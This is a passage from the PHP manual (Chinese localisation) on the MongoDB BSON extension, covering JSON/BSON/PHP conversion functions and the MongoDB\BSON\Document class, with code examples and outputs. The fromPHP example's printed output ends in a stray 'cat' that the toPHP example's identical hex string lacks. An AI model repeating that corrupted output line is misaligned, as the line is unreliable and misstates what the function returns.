    • MongoDB\BSON\JavascriptInterface::__toString — Returns the JavascriptInterface's code
  • MongoDB\BSON\MaxKeyInterface — The MongoDB\BSON\MaxKeyInterface interface
  • MongoDB\BSON\MinKeyInterface — The MongoDB\BSON\MinKeyInterface interface
  • MongoDB\BSON\ObjectIdInterface — The MongoDB\BSON\ObjectIdInterface interface
    • MongoDB\BSON\ObjectIdInterface::getTimestamp — Returns the timestamp component of this ObjectIdInterface
    • MongoDB\BSON\ObjectIdInterface::__toString — Returns the hexidecimal representation of this ObjectIdInterface
  • MongoDB\BSON\RegexInterface — The MongoDB\BSON\RegexInterface interface
    • MongoDB\BSON\RegexInterface::getFlags — Returns the RegexInterface's flags
    • MongoDB\BSON\RegexInterface::getPattern — Returns the RegexInterface's pattern
    • MongoDB\BSON\RegexInterface::__toString — Returns the string representation of this RegexInterface
  • MongoDB\BSON\TimestampInterface — The MongoDB\BSON\TimestampInterface interface
    • MongoDB\BSON\TimestampInterface::getIncrement — Returns the increment component of this TimestampInterface
    • MongoDB\BSON\TimestampInterface::getTimestamp — Returns the timestamp component of this TimestampInterface
    • MongoDB\BSON\TimestampInterface::__toString — Returns the string representation of this TimestampInterface
  • MongoDB\BSON\UTCDateTimeInterface — The MongoDB\BSON\UTCDateTimeInterface interface
    • MongoDB\BSON\UTCDateTimeInterface::toDateTime — Returns the DateTime representation of this UTCDateTimeInterface
    • MongoDB\BSON\UTCDateTimeInterface::__toString — Returns the string representation of this UTCDateTimeInterface
  • MongoDB\BSON\DBPointer — The MongoDB\BSON\DBPointer class (deprecated)
    • MongoDB\BSON\DBPointer::__construct — Construct a new DBPointer (unused)
    • MongoDB\BSON\DBPointer::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\DBPointer::serialize — Serialize a DBPointer
    • MongoDB\BSON\DBPointer::__toString — Returns an empty string
    • MongoDB\BSON\DBPointer::unserialize — Unserialize a DBPointer
  • MongoDB\BSON\Int64 — The MongoDB\BSON\Int64 class
    • MongoDB\BSON\Int64::__construct — Construct a new Int64
    • MongoDB\BSON\Int64::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Int64::serialize — Serialize an Int64
    • MongoDB\BSON\Int64::__toString — Returns the string representation of this Int64
    • MongoDB\BSON\Int64::unserialize — Unserialize an Int64
  • MongoDB\BSON\Symbol — The MongoDB\BSON\Symbol class (deprecated)
    • MongoDB\BSON\Symbol::__construct — Construct a new Symbol (unused)
    • MongoDB\BSON\Symbol::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Symbol::serialize — Serialize a Symbol
    • MongoDB\BSON\Symbol::__toString — Returns the Symbol as a string
    • MongoDB\BSON\Symbol::unserialize — Unserialize a Symbol
  • MongoDB\BSON\Undefined — The MongoDB\BSON\Undefined class (deprecated)
    • MongoDB\BSON\Undefined::__construct — Construct a new Undefined (unused)
    • MongoDB\BSON\Undefined::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Undefined::serialize — Serialize a Undefined
    • MongoDB\BSON\Undefined::__toString — Returns an empty string
    • MongoDB\BSON\Undefined::unserialize — Unserialize a Undefined

User Contributed Notes

There are no user contributed notes for this page.


函数

Table of Contents

  • MongoDB\BSON\fromJSON — Returns the BSON representation of a JSON value
  • MongoDB\BSON\fromPHP — Returns the BSON representation of a PHP value
  • MongoDB\BSON\toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toJSON — Returns the Legacy Extended JSON representation of a BSON value
  • MongoDB\BSON\toPHP — Returns the PHP representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of a BSON value

User Contributed Notes

There are no user contributed notes for this page.


Returns the BSON representation of a JSON value

  • ? 函数
  • MongoDB\BSON\fromPHP ?
  • PHP Manual
  • 函数
  • Returns the BSON representation of a JSON value

MongoDB\BSON\fromJSON

(mongodb >=1.0.0)

MongoDB\BSON\fromJSON — Returns the BSON representation of a JSON value

说明

MongoDB\BSON\fromJSON(string $json): string

Converts an » extended JSON string to its BSON representation.

参数

json (string)

JSON value to be converted.

返回值

The serialized BSON document as a binary string.

错误／异常

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the JSON value cannot be converted to BSON (e.g. due to a syntax error).

示例

Example #1 MongoDB\BSON\fromJSON() example

<?php

$json = '{ "_id": { "$oid": "563143b280d2387c91807965" } }';
$bson = MongoDB\BSON\fromJSON($json);
$value = MongoDB\BSON\toPHP($bson);
var_dump($value);

?>

以上示例会输出：

object(stdClass)#2 (1) {
  ["_id"]=>
  object(MongoDB\BSON\ObjectId)#1 (1) {
    ["oid"]=>
    string(24) "563143b280d2387c91807965"
  }
}

参见

  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • MongoDB\BSON\toJSON() - Returns the Legacy Extended JSON representation of a BSON value
  • » MongoDB Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Returns the BSON representation of a PHP value

  • ? MongoDB\BSON\fromJSON
  • MongoDB\BSON\toCanonicalExtendedJSON ?
  • PHP Manual
  • 函数
  • Returns the BSON representation of a PHP value

MongoDB\BSON\fromPHP

(mongodb >=1.0.0)

MongoDB\BSON\fromPHP — Returns the BSON representation of a PHP value

说明

MongoDB\BSON\fromPHP(array|object $value): string

Serializes a PHP array or object (e.g. document) to its » BSON representation. The returned binary string will describe a BSON document.

参数

value (array|object)

PHP value to be serialized.

返回值

The serialized BSON document as a binary string.

错误／异常

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the PHP value cannot be converted to BSON. Possible reasons include, but are not limited to, encountering an unexpected MongoDB\BSON\Type instance or MongoDB\BSON\Serializable::bsonSerialize() failing to return an array or stdClass.

示例

Example #1 MongoDB\BSON\fromPHP() example

<?php

$bson = MongoDB\BSON\fromPHP(['foo' => 1]);
echo bin2hex($bson), "\n";

?>

以上示例会输出：

0e00000010666f6f000100000000cat

参见

  • MongoDB\BSON\Document::fromPHP() - Construct a new document instance from PHP data
  • MongoDB\BSON\toPHP() - Returns the PHP representation of a BSON value
  • » MongoDB BSON
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the Canonical Extended JSON representation of a BSON value

  • ? MongoDB\BSON\fromPHP
  • MongoDB\BSON\toJSON ?
  • PHP Manual
  • 函数
  • Returns the Canonical Extended JSON representation of a BSON value

MongoDB\BSON\toCanonicalExtendedJSON

(mongodb >=1.3.0)

MongoDB\BSON\toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of a BSON value

说明

MongoDB\BSON\toCanonicalExtendedJSON(string $bson): string

Converts a BSON string to its » Canonical Extended JSON representation. The canonical format prefers type fidelity at the expense of concise output and is most suited for producing output that can be converted back to BSON without any loss of type information (e.g. numeric types will remain differentiated).

参数

bson (string)

BSON value to be converted.

返回值

The converted JSON value.

错误／异常

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

示例

Example #1 MongoDB\BSON\toCanonicalExtendedJSON() example

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\fromPHP($document);
echo MongoDB\BSON\toCanonicalExtendedJSON($bson), "\n";
}

?>

以上示例会输出：

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : { "$numberInt" : "123" } }
{ "int64" : { "$numberLong" : "4294967295"} }
{ "double" : { "$numberDouble" : "1.0" } }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : { "$numberLong" : "1445990400000" } } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : { "$numberInt" : "1" } } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参见

  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • MongoDB\BSON\Document::toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of the BSON document
  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » Extended JSON Specification
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Returns the Legacy Extended JSON representation of a BSON value

  • ? MongoDB\BSON\toCanonicalExtendedJSON
  • MongoDB\BSON\toPHP ?
  • PHP Manual
  • 函数
  • Returns the Legacy Extended JSON representation of a BSON value

MongoDB\BSON\toJSON

(mongodb >=1.0.0)

MongoDB\BSON\toJSON — Returns the Legacy Extended JSON representation of a BSON value

说明

MongoDB\BSON\toJSON(string $bson): string

Converts a BSON string to its » Legacy Extended JSON representation.

Note: There exist several JSON formats for representing BSON. This function implements the "strict mode" defined in » MongoDB Extended JSON, which has been superseded by the canonical and relaxed formats defined in the » Extended JSON Specification and implemented by MongoDB\BSON\toCanonicalExtendedJSON() and MongoDB\BSON\toRelaxedExtendedJSON(), respectively.

Warning

» JSON does not support NAN and INF and MongoDB's Legacy Extended JSON format does not define an alternative representation for these values (» libbson will output nan and inf literals, which may not be parsed as valid JSON). If you are working with BSON that may contain non-finite numbers, please use MongoDB\BSON\toCanonicalExtendedJSON() or MongoDB\BSON\toRelaxedExtendedJSON().

参数

bson (string)

BSON value to be converted.

返回值

The converted JSON value.

错误／异常

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

示例

Example #1 MongoDB\BSON\toJSON() example

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\fromPHP($document);
echo MongoDB\BSON\toJSON($bson), "\n";
}

?>

以上示例会输出：

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : nan }
{ "pos_inf" : inf }
{ "neg_inf" : -inf }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : "Zm9v", "$type" : "00" } }
{ "date" : { "$date" : 1445990400000 } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regex" : "pattern", "$options" : "i" } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参见

  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Returns the PHP representation of a BSON value

  • ? MongoDB\BSON\toJSON
  • MongoDB\BSON\toRelaxedExtendedJSON ?
  • PHP Manual
  • 函数
  • Returns the PHP representation of a BSON value

MongoDB\BSON\toPHP

(mongodb >=1.0.0)

MongoDB\BSON\toPHP — Returns the PHP representation of a BSON value

说明

MongoDB\BSON\toPHP(string $bson, array $typeMap = array()): array|object

Unserializes a BSON document (i.e. binary string) to its PHP representation. The typeMap paramater may be used to control the PHP types used for converting BSON arrays and documents (both root and embedded).

Warning

BSON documents can technically contain duplicate keys because documents are stored as a list of key-value pairs; however, applications should refrain from generating documents with duplicate keys as server and driver behavior may be undefined. Since PHP objects and arrays cannot have duplicate keys, data could also be lost when decoding a BSON document with duplicate keys.

参数

bson (string)

BSON value to be unserialized.

typeMap (array)

Type map configuration.

返回值

The unserialized PHP value.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

更新日志

版本 | 说明
PECL mongodb 1.4.0 | If the input contains an unsupported, deprecated BSON type, the driver will now no longer log a warning to the debug log, but instead will create an object representing this type.
PECL mongodb 1.3.2 | MongoDB\Driver\Exception\UnexpectedValueException is no longer thrown if the input contains an unsupported, deprecated BSON type. Such types will be ignored (as they were in versions before 1.3.0), although the driver will now log a warning to the debug log (see: mongodb.debug).
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\UnexpectedValueException is thrown if the input contains an unsupported, deprecated BSON type. Previously, such types were ignored.

示例

Example #1 MongoDB\BSON\toPHP() example

<?php

$bson = hex2bin('0e00000010666f6f000100000000');
$value = MongoDB\BSON\toPHP($bson);
var_dump($value);

?>

以上示例会输出：

object(stdClass)#1 (1) {
  ["foo"]=>
  int(1)
}

参见

  • MongoDB\BSON\Document::toPHP() - Returns the PHP representation of the BSON document
  • MongoDB\BSON\fromPHP() - Returns the BSON representation of a PHP value
  • » MongoDB BSON
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the Relaxed Extended JSON representation of a BSON value

  • ? MongoDB\BSON\toPHP
  • MongoDB\BSON\Document ?
  • PHP Manual
  • 函数
  • Returns the Relaxed Extended JSON representation of a BSON value

MongoDB\BSON\toRelaxedExtendedJSON

(mongodb >=1.3.0)

MongoDB\BSON\toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of a BSON value

说明

MongoDB\BSON\toRelaxedExtendedJSON(string $bson): string

Converts a BSON string to its » Relaxed Extended JSON representation. The relaxed format prefers use of JSON type primitives at the expense of type fidelity and is most suited for producing output that can be easily consumed by web APIs and humans.

参数

bson (string)

BSON value to be converted.

返回值

The converted JSON value.

错误／异常

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

示例

Example #1 MongoDB\BSON\toRelaxedExtendedJSON() example

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\fromPHP($document);
echo MongoDB\BSON\toRelaxedExtendedJSON($bson), "\n";
}

?>

以上示例会输出：

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : "2015-10-28T00:00:00Z" } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参见

  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • MongoDB\BSON\Document::toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of the BSON document
  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • » Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Document class

(mongodb >=1.16.0)

简介

Represents a BSON document. This class is used when reading data as raw BSON and cannot be modified.

类摘要

final class MongoDB\BSON\Document implements MongoDB\BSON\Type, IteratorAggregate, Serializable {
/* 方法 */
final private __construct()
final static public fromBSON(string $bson): MongoDB\BSON\Document
final static public fromJSON(string $json): MongoDB\BSON\Document
final static public fromPHP(object|array $value): MongoDB\BSON\Document
final public get(string $key): mixed
final public getIterator(): MongoDB\BSON\Iterator
final public has(string $key): bool
final public serialize(): string
final public toCanonicalExtendedJSON(): string
final public toPHP(?array $typeMap = null): array|object
final public toRelaxedExtendedJSON(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.17.0 | Implements MongoDB\BSON\Type.

Table of Contents

  • MongoDB\BSON\Document::__construct — Construct a new BSON document (unused)
  • MongoDB\BSON\Document::fromBSON — Construct a new document instance from a BSON string
  • MongoDB\BSON\Document::fromJSON — Construct a new document instance from a JSON string
  • MongoDB\BSON\Document::fromPHP — Construct a new document instance from PHP data
  • MongoDB\BSON\Document::get — Returns the value of a key in the document
  • MongoDB\BSON\Document::getIterator — Returns an iterator for the BSON document
  • MongoDB\BSON\Document::has — Returns whether a key is present in the document
  • MongoDB\BSON\Document::serialize — Serialize a Document
  • MongoDB\BSON\Document::toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of the BSON document
  • MongoDB\BSON\Document::toPHP — Returns the PHP representation of the BSON document
  • MongoDB\BSON\Document::toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of the BSON document
  • MongoDB\BSON\Document::__toString — Returns the string representation of this BSON Document
  • MongoDB\BSON\Document::unserialize — Unserialize a BSON document

User Contributed Notes

There are no user contributed notes for this page.


Construct a new BSON document (unused)

  • ? MongoDB\BSON\Document
  • MongoDB\BSON\Document::fromBSON ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Construct a new BSON document (unused)

MongoDB\BSON\Document::__construct

(mongodb >=1.16.0)

MongoDB\BSON\Document::__construct — Construct a new BSON document (unused)

说明

final private MongoDB\BSON\Document::__construct()

MongoDB\BSON\Document objects are created through static factory methods and cannot be instantiated directly.

参数

此函数没有参数。

参见

  • MongoDB\BSON\Document::fromPHP() - Construct a new document instance from PHP data
  • MongoDB\BSON\Document::fromBSON() - Construct a new document instance from a BSON string
  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Construct a new document instance from a BSON string

  • ? MongoDB\BSON\Document::__construct
  • MongoDB\BSON\Document::fromJSON ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Construct a new document instance from a BSON string

MongoDB\BSON\Document::fromBSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::fromBSON — Construct a new document instance from a BSON string

说明

final static public MongoDB\BSON\Document::fromBSON(string $bson): MongoDB\BSON\Document

参数

bson (string)

A string containing a document in BSON format.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if bson is an invalid BSON string or contains more than a single document.

参见

  • MongoDB\BSON\Document::fromPHP() - Construct a new document instance from PHP data
  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Construct a new document instance from a JSON string

  • ? MongoDB\BSON\Document::fromBSON
  • MongoDB\BSON\Document::fromPHP ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Construct a new document instance from a JSON string

MongoDB\BSON\Document::fromJSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::fromJSON — Construct a new document instance from a JSON string

说明

final static public MongoDB\BSON\Document::fromJSON(string $json): MongoDB\BSON\Document

Converts an » extended JSON string to its BSON representation.

参数

json (string)

JSON value to be converted.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if json is not a valid document.

参见

  • MongoDB\BSON\Document::fromPHP() - Construct a new document instance from PHP data
  • MongoDB\BSON\Document::fromBSON() - Construct a new document instance from a BSON string
  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • » MongoDB Extended JSON
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Construct a new document instance from PHP data

  • ? MongoDB\BSON\Document::fromJSON
  • MongoDB\BSON\Document::get ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Construct a new document instance from PHP data

MongoDB\BSON\Document::fromPHP

(mongodb >=1.16.0)

MongoDB\BSON\Document::fromPHP — Construct a new document instance from PHP data

说明

final static public MongoDB\BSON\Document::fromPHP(object|array $value): MongoDB\BSON\Document

参数

value (object|array)

A PHP object or array containing the document. When passing an array with numeric keys, the numeric values are converted to strings and used as document keys.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Document::fromBSON() - Construct a new document instance from a BSON string
  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • MongoDB\BSON\fromPHP() - Returns the BSON representation of a PHP value
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a key in the document

  • ? MongoDB\BSON\Document::fromPHP
  • MongoDB\BSON\Document::getIterator ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns the value of a key in the document

MongoDB\BSON\Document::get

(mongodb >=1.16.0)

MongoDB\BSON\Document::get — Returns the value of a key in the document

说明

final public MongoDB\BSON\Document::get(string $key): mixed

参数

key (string)

The key to retrieve from the document.

返回值

Returns the value associated with the given key. If the key is not present in the document, an exception is thrown.

Note: When encountering a value encoded as 64-bit integer in the BSON document, the return value of this method will be a MongoDB\BSON\Int64 instance.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\RuntimeException if the key is not present in the document.

参见

  • MongoDB\BSON\Document::has() - Returns whether a key is present in the document
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns an iterator for the BSON document

  • ? MongoDB\BSON\Document::get
  • MongoDB\BSON\Document::has ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns an iterator for the BSON document

MongoDB\BSON\Document::getIterator

(mongodb >=1.16.0)

MongoDB\BSON\Document::getIterator — Returns an iterator for the BSON document

说明

final public MongoDB\BSON\Document::getIterator(): MongoDB\BSON\Iterator

参数

此函数没有参数。

返回值

Returns a MongoDB\BSON\Iterator instance that can be used to iterate over all keys in the document.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the BSON iterator could not be initialized.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns whether a key is present in the document

  • ? MongoDB\BSON\Document::getIterator
  • MongoDB\BSON\Document::serialize ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns whether a key is present in the document

MongoDB\BSON\Document::has

(mongodb >=1.16.0)

MongoDB\BSON\Document::has — Returns whether a key is present in the document

说明

final public MongoDB\BSON\Document::has(string $key): bool

参数

key (string)

The key to look for in the document.

返回值

Returns true if the key is present in the document and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Document::get() - Returns the value of a key in the document
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Document

  • ? MongoDB\BSON\Document::has
  • MongoDB\BSON\Document::toCanonicalExtendedJSON ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Serialize a Document

MongoDB\BSON\Document::serialize

(mongodb >=1.16.0)

MongoDB\BSON\Document::serialize — Serialize a Document

说明

final public MongoDB\BSON\Document::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Document.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Document::unserialize() - Unserialize a BSON document
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Canonical Extended JSON representation of the BSON document

  • ? MongoDB\BSON\Document::serialize
  • MongoDB\BSON\Document::toPHP ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns the Canonical Extended JSON representation of the BSON document

MongoDB\BSON\Document::toCanonicalExtendedJSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of the BSON document

说明

final public MongoDB\BSON\Document::toCanonicalExtendedJSON(): string

Converts the BSON document to its » Canonical Extended JSON representation. The canonical format prefers type fidelity at the expense of concise output and is most suited for producing output that can be converted back to BSON without any loss of type information (e.g. numeric types will remain differentiated).

参数

此函数没有参数。

示例

Example #1 MongoDB\BSON\Document::toCanonicalExtendedJSON() example

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
